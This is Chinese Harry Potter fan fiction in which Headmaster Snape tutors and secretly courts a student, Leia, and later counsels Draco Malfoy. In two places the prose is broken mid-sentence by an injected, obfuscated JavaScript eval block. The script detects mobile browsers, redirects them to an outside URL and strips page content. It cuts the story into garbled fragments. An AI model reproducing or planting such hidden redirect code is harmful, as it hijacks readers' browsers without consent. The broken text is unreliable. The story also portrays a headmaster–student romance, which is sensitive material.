“这怎么可能记得住呢?”晚饭后一小时,这位年轻的女巫正沮丧地坐在斯拉格霍恩教授的沙发上,一只手托着下巴,另一只手则自暴自弃地攥紧笔记,“明明大纲列了,时间轴画了,书也抄了第五遍了,可这些内容为什么还是那么陌生?” “这怎么可能记不住呢?难道你的大脑也是榆木做的?”斯内普从一堆低年级的论文中抬起头,挑起眉毛反问:“记咒语和魔药步骤的时候你不是很清楚吗?” “可魔药是有实际操作的呀,做一遍就全记住了。”她不甘心地对上他的眼神,鼓起嘴问:“难道你全部记住了?” 斯内普听见这句话的一瞬便露出一个凛冽的表情。他用不可置疑的姿态扬起眉毛,似乎是在迎接她的挑战般:“要试试看吗?给你五次机会考我。” 听到这话,蕾雅立刻瞪大眼睛坐直身。斯内普都毕业这么久了,怎么可能还记得住?她确信只要从书本的角角落落出题,他绝对答不上来的,毕竟,没有一个人会在毕业二十年后还记得书本上的知识。 想到这里,她的胜负欲渐渐燃起,手指已不由自主地翻开魔法史教材。 十分钟之后,她就又瘫了下去,再一次为他的卓越折服。五个问题,五个出自书本各种不起眼角落的细枝末节,甚至连她都怀疑考试不可能考得如此苛刻的题目,斯内普一一回答得精确无比。 “不要以为学习只是为了应付考试。”斯内普揶揄道,然而,盯着她垂头丧气得像个泄气的气球般的样子,还是多少有点不忍心。 他放下暂告一段落的作业批改,伸手拉开她带回来的那个魔法口袋,用飞来咒从里面唤出一个小纸盒。拆开油纸包装打开,里面是九宫格排列的手工巧克力,每颗都是精致而独特的形状,光看就觉得十分昂贵。 她还在对学习进度不满意的自责里沉浮,并没有在关注对面的人,所以也根本没看见斯内普正拿起一颗树叶形状的巧克力走过来。 斯内普停在她的身前,伸手抬起她的下颌,将失落的小脸转向自己。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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the trial, the burning”。然后,那一列底下慢慢出现了几个带尖帽的小人,夸张地奔跑着,正被另一群追赶,直到被抓住、被送上祭坛、绑在木桩上,点燃的火把化成一大团狰狞的火焰。 尽管这些场景源自真实而残酷的历史,但如此生动形象的演示倒让蕾雅觉得这些小人有点太过可爱,实在是很难不对整个过程产生深刻的印象。 “这里需要强调的重点是什么?”斯内普停下魔杖。 蕾雅收回视线,试探性地回答:“那些被追捕的多数其实都不是巫师,因为巫师根本不怕火烧。被杀//死的大部分都是麻瓜,还有被怀疑是巫师的孩子们,女孩特别多。” “不错,”他的魔杖擦出一个弧度,形成另一行:“FACT 1:muggles, muggle children, girls”,有几个哭泣的麻瓜小人被描绘在底下。 他再度看向她,“但这里面也有一些真实的巫师?” “对的,确实有些巫师被加害了。”蕾雅的手搭在他的魔杖上,接着在空气里涂写:“FACT 2: real victims-”她顿了顿,绞尽脑汁拼出巫师们的名字:“首先是,尼古拉斯·德·米姆西-波平顿爵士。他被夺去魔杖后关入地牢,最终被处//决身亡。还有一些还没学会控制魔力的巫师孩子们。”蕾雅边说着,脑海里浮现出尼克爵士拉下头颅的模样,不禁浑身一颤。斯内普抿着嘴角,在这列下面画了尼克爵士的小人,头掉了一半悬在半空。 他们按照这个思路,梳理过《保密法》签署的前后过程,法令条文要点,以及其之后延续至今的影响。等到两个人回过神来的时候,他们的四周已布满了漂浮的金色笔记和越来越多活泼的故事小人,而时间也在这一幅幅如藤蔓生长般的橘黄色幻光里悄悄流淌过去。 “今天就先到这里。”讲完这个章节的最后一页,斯内普慢慢地合上书本,“我看看你的笔记。” “嗯。”蕾雅将笔记本递给他,换回了课本。 但斯内普没有立即查看她的笔记,而是先抹去板书,调亮房间灯光,又召唤出霍格沃茨的家养小精灵:“拉比,我需要一杯奶茶。”他说。 “斯内普校长,久等啦。”没过多久,小精灵拉比热情地送来用霍格沃茨马克杯盛装的热奶茶,斯内普接过后就直接塞到她的手中。 “你怎么知道我喜欢喝奶茶?”蕾雅将手指埋进温热的杯子里,在沙发上倚着男巫开心地放松身体。 “想想自己在礼堂的表现。”他不以为然地解释。 魔法烛火在他们身上投射出暖黄色的光晕,办公室里渐渐弥散开的浓厚茶香和男巫身上清冷的气息同时浸入她的神经,也带来大片安心。 她喜欢待在他身边,毫无疑问地,就只是这样任由注意力游走在他身上。看他眉头微皱地审阅她的笔记,看那稍稍垂落的乌发和挺拔的鼻尖,也已是足够满足。 斯内普没有过多在意她的注目,黑眸快速略过一行行小巧圆润的字迹,忽然用眼尾余光扫过捧着杯子的她,轻声问:“好喝吗?” “喏。”她浅笑着把杯子送到他唇边。 黑发男巫很自然地接过去,浅浅地抿了一口,而后眉心很快地拧到一起,评价到:“太甜了。”然而,他却完全没有把杯子还给她的意思,而是将她的笔记本摊到腿上,腾出左手端着马克杯,自顾自地喝了起来。 蕾雅挑了挑眉毛,决定不戳穿他在她面前才会露出的孩子气。她也不急着说话,只是慢条斯理地将用过的课本收进书包,然后就看见那两封晚饭时收到的信,于是拿出来拆开。 父亲的信保持着一贯的关心,提到魔法部的忙碌、他和妈妈的近况、问了她学习的事。信的末尾,父亲还提及七月份金斯莱?沙克尔想在学生放短假那天,举办一场凤凰社的庆功宴。 “爸爸说沙克尔部长准备办凤凰社的庆功宴?”蕾雅侧目看向身边人,“你听说了吗?” “早上听邓布利多提到过。”斯内普没有抬头,视线正捕捉到她笔记中的一处疏漏,羽毛笔蘸过红色墨水,圈点着划开批注,“你父亲要去?” “嗯,他答应了部长会带我一起去。还说很期待见到你和邓布利多先生。”蕾雅专注地读信,全然没有意识到斯内普正因这句看似普通随意的寒暄,实际上也许隐含着微妙意味的句子而愣住一瞬。 雷格纳是察觉到什么了吗?还是真的只是普通的问候?他越想越觉得背脊发麻,但就在他的沉默长到快要引起她注意的片刻,他冷静地答她:“我应该会去。” 好吧,好吧,该来的总躲不过,大大方方地承认才是正确的做法,就像在麦格面前那样就好。反正总有那么一天,他得告诉那个可怜的家伙他的女儿谈恋爱了,和自己。 斯内普在心底闷闷地叹息一声,又故作镇定地饮下一口奶茶,在甜味带来的轻微愉悦感里不动声色地接着批阅她的笔记。 蕾雅大概是猜到斯内普在想什么。红着脸收起父亲的信,抽出另外一封,却没想到是来自她没想过的寄信人——珀西·韦斯莱。 她木纳地摊开纸张,匆忙地浏览几行,就迅速把它塞回书包。 “怎么了?”但她的动作已明明白白被身侧的男巫留意到,他略带疑惑地询问:“谁的信?” 她错开他的视线,伸手夺过他手里的杯子,喝完剩下的奶茶,才答:“珀西的信,问我复习得怎么样,需不需要他帮忙。” 斯内普的脸上没有显露什么情绪,至少比听见雷格纳的信的时候还要平淡一些。 不等他继续开口,蕾雅接着说:“我会告诉他,我的复习进度很好。”她顺势靠在他肩膀上,目光停留在一丝不苟写在她笔记本上的红色注释,“毕竟,我们都清楚,这是因为有个教授级别的人在替我补课。” “可惜,我并不能凭空让木头开出花。”斯内普的脸上依旧是略微的不满和讥讽,又好像对此感到十分无奈地抬手揉捏着眉心,继而写下停住的批注,“刚才那个方法感觉怎么样?” “感觉好多了,甚至希望魔法史真的是你来教。”她诚实地表达心声,语气里全是不加掩饰的感叹:“板书也特别有趣,所以我们的课本,为什么非要写得这么枯燥呢。” “等明天看看你能记住多少再评价。”斯内普合上她的笔记本,又从书柜上传来几本书和笔记本一起叠放在她的书包边上,“说起课本,你倒是说的不错。我们的课堂和课本确实是该更新——不过,你肯定是等不到了,先拿这几本斯拉格霍恩教授的藏书回去参考。” “好。”她翻了翻那几本书,发现大部分都是基于事实编撰的历史小说,很难相信斯内普会推荐她看这些。 见墙上的时钟已接近宵禁时刻,她拿起书包准备回去,但还没离开他身边太远,又快速地回过身。 斯内普缓慢地收紧眼神,追随着她眉眼间的温柔,她凑得更近,垂落的黑发轻慢地拂过他的胸前。就在她的嘴唇马上要挨到他鼻尖的一瞬,她偏过脸,在他的额角俏皮地碰了碰,呢喃道:“西弗勒斯,你今天也会很晚吗?” “今天应该不会,我睡前告诉你。”他的声音悦耳且平和。她得到了满意的答复便起身,但他轻轻勾着她的领带把她重新拎过来,给予她一个真正的晚安吻。 嗯,奶茶味,还停在唇间。 离开地窖办公室,蕾雅尽力收起嘴角边引人注目的笑意。她不急不忙地踩上楼梯,却没想到会撞上一个意想不到的人。 停住脚步,她把书包从肩膀上滑下来抱在怀里,直视那人灰蒙的瞳仁,打起招呼:“晚上好,马尔福?” “晚上好,莱恩哈特。”金发男孩靠在高处的楼梯栏杆上看着她,牵出一个没多少善意的笑,眼色里甚至挂着锋利的挑衅。他扬了扬下巴,冷淡地开口:“可以说说看,你,一个格兰芬多,为什么总出现在斯莱特林学院的地盘?” “我来找斯内普教授补课。”她毫不紧张地回答,心里隐隐猜测着马尔福恐怕观察这间办公室许久。她心一横,索性大胆地反问:“你呢?也是来找他?” “我是不是找他跟你没有关系。”德拉科·马尔福傲慢地嗤笑一声,双手插在裤袋,缓步从楼梯一阶阶走下,眼神始终锁定在她的身上。 他停在她上方一步,俯视着她,“不过我倒是很想知道,是什么让他破例给一个格兰芬多补课?” 71.修补 这男孩在闹别扭。 他可能根本不关心斯内普在和谁补课,但是他很明显是在闹别扭。 他表面上故作冷傲,但下颌不自觉地紧绷,肩膀还僵硬得像块石头。他的双手看似漫不经心地插在裤袋里,攥成的拳头却又让布料鼓成了一团。那头淡金发看起来梳得整齐,然而,几缕发丝不听话地散在鬓边,平添一点凌乱。再仔细看去,他的嘴唇有些干裂,面色苍白,眼神似乎落在她身上,又好像透过她的身后望向更远的地方。 结合他刚刚说的“总出现在斯莱特林的地盘”一句,蕾雅凭直觉地推断出马尔福可能已经连续好几天,可能更久地徘徊在这间办公室附近。而且,今晚他又站在这里很长时间。 为什么呢?他是察觉到什么了吗?她注视着面前人的细微表情,但看不出来什么特别的。 事实上,她知道除了熟知她的好友还有邓布利多先生,以及那些清楚她和莉莉关联的人以外,很难再有人去揣测她跟斯内普的关系。毕竟,这个世界上大概不会有人相信斯内普会喜欢一个学生,甚至,大概不会有人相信斯内普会喜欢上别人——是的,这位男巫向外界堆砌那扇立面(Facade)真的冷硬到完美无瑕。如果不是如此,大家也早就认识到他是个多么温柔的人了。 那么,这么想下去的话,唯一合理的解释就似乎只剩下一个。马尔福确实是想找斯内普,但由于各种迟疑和内心的斗争,最终也没有寻得合适的机会,或者说,最终也没有勇气敲开斯内普的门。 可怜的马尔福,难道他是从晚饭后就一直伫立在这里,直到她出来吗? 凝视着这张骄傲又纠结的脸,她突然想起六年级时马尔福要按照伏地魔吩咐杀死邓布利多的事。当时,这个男孩尝试过好几种愚蠢的方式,手法笨拙而明显到让哈利都洞察到。但斯内普却按照邓布利多的意思,始终在努力庇护这个孩子,甚至为此不惜和纳西莎·马尔福签下牢不可破誓言……而马尔福全然不懂得感激。 想到这些,过往的怒怼无法抑制地爬上蕾雅的胸腔。而与此同时,她也很快明晰过来,高傲专横如马尔福,又怎能接受曾经敬爱的斯莱特林院长竟然是最大的卧底? 思绪顺到此处,蕾雅几乎能看透眼前这个窘迫斯莱特林的内心。她轻轻掂了掂书包,重新背回肩后,毫不退缩地牵起一抹凛冽的笑,就像一头少年无畏的狮子,质问道:“马尔福,你就是很在意斯内普校长跟别人补课,不是吗?” “什么?!”马尔福根本没想到蕾雅会这样开口,他的眉毛迅速地拧在一起,“他跟谁补课跟我有什么关系?”他的声音不自觉地升高几分,苍白而瘦削的脸颊上不自然地翻涌出一点激动的血色。 “是啊,他跟谁补课和你又有什么关系呢?”蕾雅把眼睛一斜,懒懒地看向他身侧的雕花石栏杆,那是一株不知名的植物雕塑。她装作全不在意那样淡然,声音轻而坚定地追问:“可是,你就是很在意啊,不是吗?既然你这么在意他为什么要为一个格兰芬多补课,你为什么不直接——去问他呢?他不是你的院长吗?” “莱恩哈特……我警告你。”马尔福瞪大了眼睛,脚尖逐渐向前倾斜,整个身体因为被切中要害而微微发颤。 “你要警告我什么?”蕾雅打断他的话,重新紧盯着马尔福这张别扭而恼羞成怒的脸。她倒是坦然到心里平静得毫无波澜,甚至决定把当年没说出口的事一股脑地丢给马尔福:“想起来,去年的时候我就想说了,马尔福。你不能这样不懂得感恩,你根本不知道他为了你付出了什么,也根本不知道他和邓布利多先生为你考虑过多少!” “别跟我提邓布利多!”马尔福突然大喊一声,他的身体也因此浑然震颤一下,接着,他便再也按捺不住那般嘶吼起来:“什么付出?什么考虑?都是不过是一场戏!全部都是个笑话!是他们一开始就策划好的闹剧!” 两人的争吵声沿着螺旋楼梯逐渐攀升而扩散出去,最后一点点回荡在城堡的石墙里,引得一些正赶在宵禁前返回休息室的小蛇们的纷纷驻步张望。好奇的眼神从四面八方凝结,穿着绿色校服的小巫师们抱着书本面面相觑,但谁也不敢走下来。 虽然格兰芬多和斯莱特林的争吵在霍格沃茨从来都不算什么罕见事,但碍于战后这个节骨眼以及这两人过于特殊的身份,再加上实在是敏感的内容——就连城堡里打着瞌睡的画像们都被瞬间惊醒了。 “是吗?你还记得校长审判时候我说过的话吧?”蕾雅也被他的态度激怒,她努力以几个呼吸调整情绪,却发现并不太成功,只好皱起眉头:“你明白牢不可破誓言的代价是什么吧?斯内普校长与你妈妈签订誓约的之前,就在寻找邓布利多先生的解药了。可他依然没有任何犹豫就签下了誓约,也就是说,他一早就做好用生命去保护邓布利多和你的决心。” 她的语速迅速而急切,稍作停顿的时候猛吸一口气,还时刻担心马尔福会打断她,但马尔福只是红着脸地瞪着她,没有任何要说话的意思。于是,蕾雅很快接着说:“而且,当邓布利多校长知道这件事后还决然让斯内普校长杀死自己,只为了不让你在伏地魔面前陷入难境。他们两个人都愿意以生命为代价,就为了救下你这个‘还未被糟蹋’的灵魂。” “我从来没有让他们为我做这些!”仿佛有被这番话触动到,他的胸膛剧烈起伏,宛如有一只惊魂失措的野兽好不容易地密林里找到路闯出。但他的脸上依然写满固执和倔强:“还有,别说得好像你听见了他们说的话一样!” “很遗憾,我就是听见了。”蕾雅其实也没比他好到哪里去,毕竟这个事情从一开始她就想一次气一次。如今,她和斯内普终于在一起了,肯定是更不由自主地护短。斯内普不会说出口的事,不代表她也不会。 她以一双冷冽有力的绿眸直直地看着他,一字一顿地说到:“我全部都听见了,我为他们的伟大而钦佩,并且——也为你的不知感恩而——”话说到这里,她见到埋藏在马尔福灰色瞳仁愤怒底下的一丝不甘,她兀自掐断了话。 看来,这个男孩并不是不明白,事实可能正恰恰相反。随即,她轻轻地叹了一口气,语气软下来:“德拉科,别表现得像个顽童,你明明清楚斯内普校长有多关心你。” “你根本不懂——!”马尔福一拳砸在两人中间的栏杆上,怒吼道:“莱恩哈特,我最后警告你!别用这幅胜利者洞悉一切,沾沾自喜的模样来教训我!“ 蕾雅稍稍眯起眼睛,压抑着自己的怒火。这不该是她的战场,她也意识到以一个外人的身份确实是没有办法打动这位斯莱特林的。而且,和斯内普交往的这些日子她还意会不到吗?——斯莱特林们总有许多的别扭,因为他们深藏的骄傲的自尊心永远不允许他们轻易低头。即使是隐约感知到事情的真相,也总要无数的确凿证据摊在面前才能让他们信服。当然,最重要的是,解铃还须系铃人呐。 这时,楼梯上上下下围观的学生变得更多,讨论的声音此起彼伏,墙壁上醒过来的画像们正聚在一起,伸长脖子来探听这场争论。 蕾雅毫不在意这些躁动,她像是在调节心情那样,抬头环顾一圈四周的情况,她慢慢地看到霍格沃茨窗外的明月,看到城堡的一砖一瓦,看到楼上楼下探头的小巫师们,最后还看到沉在愤懑之中的德拉科·马尔福。她忽而觉得,斯内普校长战后要修补的东西,可远不止霍格沃茨那些被战争损毁的建筑物。 任重而道远呢,斯内普校长。 “好吧,本来应该和你说这些话的也不是我。”蕾雅快速地收回注意力,没有任何的犹豫地下定决心,然后直接地伸出手紧紧地握住马尔福的手腕,拖着他重新走下楼梯。 “你在干什么?!放手!”马尔福被她突然的动作弄得措手不及,试图竭力抽回手臂。但他显然低估了一个气在头上的格兰芬多狮子会有多少的力气,尤其是一个深谙如何凝聚魔力辅助行动的格兰芬多。 蕾雅一言不发,只是紧咬着牙使劲,硬是把马尔福拽到地窖办公室的门前。 “我说了放开!别逼我不客气!”马尔福的面庞涨得通红,他再次尝试掰开她的手指,另一只手已摸到了身侧的魔杖。然而他的努力还没持续三秒,面前的办公室木门就“砰”地一声敞开。 这声响虽然不算轰然,却硬是卷起一种沉重的无形飓风,让楼梯上徘徊观战的小蛇们全部都被巨大的风压吓得退缩而背过身,因为他们都十分清楚办公室里将会是谁走出来。就连马尔福都顿住脚步,在原地变成雕像,怎么也不肯动了。 “两位。”果不其然,木门后显露出的一张阴森到如同魅影的脸,那宛如黑曜石般的眼珠里沉满震慑和威严,他的单纯存在就能让一般的学生感到瑟缩,“我是该提醒你们现在已经是宵禁时间了?还是该提醒你们,这里不是两位的私人决斗场?”他故意压低的语调平滑到骇人,边说着边挑起眉毛,眼睛缓缓地转动,目光最终落到马尔福被蕾雅抓得通红的手腕上。 “是她先挑衅我!”马尔福避开斯内普的注视,只敢望着地板咬牙切齿,“是她!不!放开我!” 蕾雅立马轻轻松开攥紧他手腕的手,“噢,抱歉,我这就放开。”随后,她朝斯内普露出一个歉意的微笑:“校长,请不要扣我们分。我注意到马尔福在犹豫要不要见您,也许是什么重要的事,因为他好像犹豫好几天了。于是我就擅自使用一点格兰芬多勇气,鼓励他来到这里。” 斯内普面无表情地盯着她,眼角有细微到几乎看不见的抽动。他的手指动了动,又端详着马尔福,内心很快就大致明了是个什么情况。很突然的,他脑海中就翻起邓布利多当时的对马尔福的评价——“一个惊慌失措的少年不仅对自己危险,对别人也很危险”。 显然,这句话至今都是对的。 “莱恩哈特,如果你不想我现在就给格兰芬多扣分的话——”他毫无感情地低声念到。 但话还没说完呢,蕾雅已笑着转身,轻快地穿过那堆看戏的小蛇跑走了。 “进来,德拉科。”斯内普把视线从那只仓皇而逃的小狮子身影上抽回,移向门边仍带不满的金发男孩,“别让我说第二遍。”说完,他把门推开了一点,然后走回办公桌旁,顺手将刚刚和她一起喝过的奶茶杯子传到一边。 马尔福矗立在门口,显得有些不知所措,依旧不敢看向斯内普。 “德拉科。”斯内普放低声唤他名字,语调并没有刚才那么冷硬。 男孩这才一抖肩膀,宛若被看不见的丝线牵着身体那样往前拖着身躯,最终挪动到房间里。 “沙发上。”斯内普用魔杖关上门,见到男孩低着头无声地坐下后,又略带温和地问:“红茶?奶茶?还是酒?我不建议这个时间喝咖啡。” 马尔福抿紧唇,揉着手腕上的红痕,听到问题后茫然地瞥了斯内普一眼,不情愿地开口道:“随便。” 斯内普脸上没什么情绪,只是随意地点了点魔杖。一个洁净的杯子从斯拉格霍恩的收藏柜里漂浮出来,与之一起飞出的还有洋甘菊茶的茶包,以及热水壶。不久,泡好的茶便漂浮到男孩的跟前。 马尔福木然地接过杯子,很是讶异地看着杯中过于明亮的液体。它们看起来像是被晚秋落叶沁染至金色的小河,有点过于烂漫,丝毫跟眼前这位冷峻孤高的黑发巫师不匹配。他没有显露这种惊叹,低头微微抿了一口,温暖清香的液体滑入喉咙,也让他的身体放松一点。缓过神来,他却更觉得这完全不像是斯内普会做的事。 “你以前不是这样的。”马尔福小声嘟囔了一句,“是成为校长改变了你吗?还是你本来就在我们面前戴着面具?”说着,他扯出个苦涩的笑容,“到底哪个才是真正的你?” “你自认为很了解我吗,德拉科?”斯内普深邃的眼眸追随着男孩的动作,他用低沉的话音说:“说说看,我以前不是怎么样的?” “你以前从不会帮别的学院的人补课,更不会偏袒格兰芬多。”马尔福几乎是脱口而出道,眼中有凝结成坚冰的不确切:“还有,你以前也从不会这样替学生泡茶。” “那么,按你的逻辑来说,我认为你以前也从不会拒绝我的帮助。”斯内普眯起眼睛,那里透出锐利锋芒的目光,他直截了当地看向德拉科开口,“让我猜猜,你是感到被背叛,是吗?” 马尔福的表情变得复杂,他的眼神游移飘忽,手指紧紧捏着温热的茶杯,试图让不自觉变得尖锐的嗓音坚定点:“难道不是吗?你背叛了黑魔王,背叛了斯莱特林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14235275|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我父亲曾那样帮助你,我母亲甚至跪下来求你,但你从头到尾——” “我从头到尾都什么?”斯内普凝视着沙发上的马尔福,平静地追问。在马尔福决然的沉默里,他索性召来一张椅子坐到他的对面,好以一种互相尊重的姿态进行谈话,“也许这场对话我们应该在你六年级的时候就进行了。你还记得我当时曾多少次试图找你,想帮助你吗?但你是怎么回应我的?你不但推开我,还一直以为我想要抢走你的功劳。” 马尔福的指尖不安地扣着杯壁,一语不发。 “德拉科,告诉我,难道你真的天真地以为,你杀死邓布利多,黑魔王就会重用你们家了吗?难道你真的天真地以为,你们只要在他袍下俯首帖耳,卑躬屈膝,他就会放过你们一家了吗?”斯内普的话音愈加语重心长,“你有没有想过,为什么当初你的母亲,不惜下跪也要求我立下牢不可破誓言,为了保护你?” 马尔福垂下眼睑,眼神逐渐从愠色变为痛苦。 “你并不是一个愚笨的人。”斯内普的话轻飘飘的,似是从黑湖里一点点浮上来那样薄凉而飘渺,但落到马尔福身上,却字字句句都带着如熔岩般炽热滚烫的烙印,“你的母亲不愿你的双手沾染血液,她不在乎所谓的黑魔王所赐予的荣誉,她只想保全你的人格和灵魂。她求助于我,是因为她已别无选择,马尔福家亦没有选择。——而我之所以背叛黑魔王,也是同样的别无选择。难道你真的希望看见他取得胜利统治一切?你已过了一个多月白方胜利的日子了,你能告诉我,你真的仍希望黑魔王赢得一切吗?” 斯内普看见有什么清亮的液体从马尔福的脸上滑过,倏地滑落茶杯里,荡起一圈轻微的涟漪。 此刻,斯内普清楚马尔福得出了最终的答案。他猜想,也许是那句“黑魔王赐下的荣誉”触动了马尔福。邓布利多在醒过来以后告诉过斯内普,马尔福当初在那个命运之夜曾与邓布利多表达过“只要杀死邓布利多,就会成为黑魔王的宠儿”。但是,男孩现在肯定已然明白这种愿望是如此的可笑。 “但你确实说的不错。以前我不会帮别的学院补课,更不会偏袒格兰芬多。甚至——以前我从没想过会活下来。”斯内普继续睡着,不以为然地抬了抬手,往男孩手里传送了两张纸巾,“但现在,我是这所学校的校长,整个世界都在改变。我希望你看到这一点,而不是抱着过去不放。“ 马尔福将手中的纸巾揉成一团,胡乱地擦拭着马上又要掉进茶里的泪水。他晃了晃脑袋,又有更多的泪水淌出来,他用力吸了吸鼻子,终于开口的话音仍在颤抖:“但是,你不知道,我们这个月有多难熬,你不知道斯莱特林学院的处境有多惨!”他好像是再也不想忍受了,心里的那些绝望的生气的话都被倒出来:“每天,每个角落都是指责和猜疑,我们被看作余孽,被人唾弃……你是唯一的斯莱特林英雄,可我们呢?……” 听到此处,斯内普重重地低叹一口气,一向笔挺的肩膀变得稍稍无力:“你以为我不知道?我和邓布利多一直在努力缓和这种情况。”他的双腿交叠在一起,十指交叉着按在腿上,不紧不慢地接着说:“但不可否认的是,斯莱特林的历史和这次战争中造成的伤害是无法磨灭的,这些痛苦记忆永远不会消失。所以,我们必须有足够长的时间来缓冲和改变。” “多久?”马尔福终于抬起头。 “说实话,我无法给出一个准确时间。”斯内普认真地直视着马尔福,“如果你真的如此担心斯莱特林的未来,我的建议是你可以跟我一起去改变它。让大家看看,什么是真正的斯莱特林,什么是真正的野心和审时度势。” 马尔福瞪大眼睛,略感意外地凝视着斯内普。这位校长一脸从容地坐在那里,他的身上有许多诚恳和耐心,以至于有那么一瞬,马尔福突然觉得眼前这个人陌生到自己仿佛从不认识。但很快,他又觉得,斯内普或许一直都是这样的人,只是从未有人以不同的角度去理解和认识。 片刻后,马尔福咽下最后一口洋甘菊茶,双手忐忑地握着空杯子放在大腿上面,“那你……”他颤颤巍巍地询问,“也会,帮我补课吗?……” “只要你需要,不止我,我相信其他各科的教授都会很乐意帮忙。”斯内普说,过了一阵,他又想起什么似的继而补充道:“还有,我希望在下周魁地奇赛中看到你的精彩表现,别让我失望。” 等马尔福怀有释然和感激离开这个办公室,斯内普抓紧时间在短暂的清静里完成了论文批改和教案整理。洗漱过后,他拖着本不应该这么疲惫的身躯躺到床上,正准备抬起手腕履行今晚的承诺通知她,心上人的信息却也恰好传过来: 「还没睡吗?」蕾雅正把脸缩在他的衣服和泰迪熊里,小心翼翼地害怕打扰到他工作。 「刚躺下」他侧身,头枕在自己的手臂上。 「辛苦了,本来说好今天能早点的」蕾雅想到马尔福的事,略略为斯内普感到一些抱歉。 「不用感到抱歉,你做得很对」 这家伙到底是不是会远程读心啊?为什么每次她想到的事他就能做出答复? 「呃,你到底是不是会远程读心术啊」她于是忍不住开起玩笑。 「也许,是你该检讨一下自己是不是太好懂?」 看到这句话,蕾雅情不自禁地在被窝里笑了起来,她翻了个身面对着窗棂外的明月疏星,垂眸的时候便将脸在他浸满星月的斗篷里埋得更深。这么一想,她忽而变得愈发想真的抱着他——停下,不能再继续下去,不然等等又要被读懂了。 蕾雅稳住情绪,对他说:「有时候,我真的想时间过得快一点」 「为什么?」他问。 「我已经迫不及待,想要跟你真正地在一起」 大概是暗夜的静谧赋予人们坦诚的勇气,在这种四下寂寥的安然时刻,人们总是能坦白心声。明明她完全舍不得毕业,舍不得霍格沃茨的所有,舍不得格兰芬多的公共休息室,舍不得此时微微打着鼾的拉文德,和在被窝里点着荧光闪烁复习的赫敏—— 但这句话,却是真心话。 此时此刻,她想抱紧他。 「会有的,只怕你会厌倦」 「我才不会呢,快睡吧」 72.胜利 终于来到魁地奇比赛的这天,炽灼的晨光和热烈的兴奋感将格兰芬多长桌染成一片金辉的欢快氛围。 早餐差不多到尾声的时候,格兰芬多的小狮子们围绕到哈利、金妮和其他队员身边,给了他们大大的拥抱。虽说仅仅是友谊赛,但由比赛带来的胜负感还是潜移默化地刻在了每一个人的心中。昨夜有点失眠的蕾雅还有些迷迷糊糊的,但也跟着大家一起给每一位队员予以紧紧的鼓励。 魁地奇运动员们离开礼堂去更衣室准备的时刻,蕾雅重新坐回到长桌,若有所思地搅着还没喝完的南瓜汁。她的心思还沉浸在昨天在温室帮忙时候,差点被刚成熟的毒触手咬伤的惊魂未定里,面色还有点苍白。 但比起差点的受伤,更令她瑟缩的是昨晚斯内普在办公室里一脸严厉的告诫,他跟她说了麦格教授的丈夫因毒触手咬伤而去世的事,又再一次次叮嘱她要小心点。想起来,上一次见到斯内普对她这么生气,还是因为开学初她与卡罗兄妹的对峙。 唔——她偷偷地瞥向教师席,没想到恰好对上斯内普观察她的视线。他正慵懒地喝着手中的黑咖啡,左手还掂着一份预言家日报。注意到她的注目,他不动声色地撇了一眼那张没睡好的小脸,下一秒就转过头,顾着跟麦格教授和斯普劳特教授商量什么事去了。 大概是魁地奇的事吧,蕾雅揉着眼睛想到,毕竟斯内普是今天魁地奇的裁判。 果然没过多久,就在格兰芬多和赫奇帕奇的魁地奇队员们都出发去准备以后,斯内普和一众教授们也很快相继离席。 不过,就在蕾雅打着哈欠堪堪喝完那杯尝起来不怎么样的南瓜汁时,斯内普出乎意料地给她传来了讯息,这在平时的白天是一种罕有的现象: 「没睡好?」他简短地问她。 幸好是在夏天,不然这样拉开衣袖盯着手腕肯定是一种很奇怪的动作。蕾雅这么想着,把左手臂搁在餐桌上,右手还端着装南瓜汁的杯子,尝试让杯底和杯壁挂着的剩余浓稠液体慢慢滑下。 「只是有点」眼睛倒是悄悄越过杯子看在手环上面。 「对不起(apologize)」嗯?看见这个单词,蕾雅整个人都愣了愣,没反应过来斯内普为什么要道歉。但很快,他又传来新的话句:「为我昨天的态度」 啊,他不会为了那个事纠结过一阵子吧。 她牵开一抹没按捺住的浅笑,回到:「我没有生气啦」过了一阵,她又对他说:「校长,今天的裁判别偏心」 「放心,对我来说这两个学院没有区别」 “哎哟,一大早。”赫敏的声音很突然地在她身后响起,话音刚落的瞬间她就俯下身挨得更近,凑在蕾雅的耳侧小声说:“蕾雅小姐,克制一下,别什么都写在脸上。还有,别对着手环傻笑。” “赫敏!”蕾雅猛地放下左手,连忙扭头看去,却因此而差点亲上赫敏的脸颊,吓得赫敏后面的罗恩一把将赫敏拉开了些。“梅林,你俩要亲上了!”他稳了稳手里怀抱着的横幅和彩旗,大惊失色地说。 “这又没关系。”赫敏笑着,毫不在意地耸耸肩,眼睛朝蕾雅一斜,就没打算放过这位好友,接着说:“梅林倒是应该让金妮来看看蕾雅这张脸,完完全全就是在恋爱了!” “虽然对象有点令人难以置信。”罗恩冷不丁地补了一句,顺带做出个全身哆嗦的动作。 “好啦!”蕾雅伸出手来揪住赫敏的手臂,像是拜托一样递过去求救的眼色:“你们是不是准备要去球场了?” “我以为你根本不在意呢,毕竟你几乎不会去看魁地奇的。”赫敏挑了挑眉毛,看着蕾雅依然涨红着脸收起餐具起立,便又挨到蕾雅的耳边说:“哦我都忘了,今天他可是裁判呢。” “我明明是要去看哈利和金妮难得的搭档比赛。”蕾雅皱皱鼻子,一本正经地纠正道。她迅速亲昵地挽起赫敏的手臂,故意转移话题般催促:“快走啦,等下没位置了。”话说到这里,她又转过头看向桌上正擦着嘴的纳威,“你来吗,纳威?” “当然,我正要走呢。”纳威放下餐巾,加入到他们的行列。 